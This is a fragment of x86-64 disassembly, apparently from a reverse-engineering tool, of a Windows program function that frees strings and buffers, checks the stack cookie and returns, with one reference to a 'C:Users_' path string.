jb 0x140007ee5
mov qword [rsp + 0x30], r15
lea rax, [rbp + 0x48]
cmp r13, 0xf
lea r9, str.C:Users_
lea rcx, [rbp - 0x50]
cmova rax, r12
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
call fcn.14000c350
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.140004790
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140007cb6
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007cb1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007cb1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000dd00
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140007cf9
mov rcx, qword [rbp + 0x28]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007cf4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007cf4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000dd00
xor r14d, r14d
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x140007d4a
mov rdx, qword [rbp + 0x18]
call fcn.14000b860
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x20]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x140007d45
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007d45
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000dd00
cmp dword [rbp - 0x58], 0
mov ebx, r14d
mov rsi, qword [rsp + 0x68]
jle 0x140007d73
mov rdi, rsi
nop dword [rax + rax]
mov rcx, qword [rdi]
call fcn.14000dd00
inc ebx
lea rdi, [rdi + 8]
cmp ebx, dword [rbp - 0x58]
jl 0x140007d60
mov rcx, rsi
call fcn.14000dd00
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140007db6
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007db1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007e90
call fcn.14000dd00
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x140007df7
mov rcx, qword [rbp + 0x88]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007df2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007e90
call fcn.14000dd00
mov rdx, qword [rbp + 0x80]
mov qword [rbp + 0x98], r14
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], 0
cmp rdx, 0xf
jbe 0x140007e4a
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e45
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007e90
call fcn.14000dd00
mov rbx, qword [rbp + 0x48]
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
mov rax, qword [rbp + 0x60]
cmp rax, 0xf
jbe 0x140007e9f
lea rdx, [rax + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140007e97
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007e97
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14000dd00
mov r13, qword [rsp + 0x3f8]
xor eax, eax
mov rdi, qword [rsp + 0x430]
mov rsi, qword [rsp + 0x428]
mov r14, qword [rsp + 0x3f0]
mov rbx, qword [rsp + 0x420]
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.14000dce0
add rsp, 0x400
pop r15
pop r12
pop rbp
ret
call fcn.140001210
int3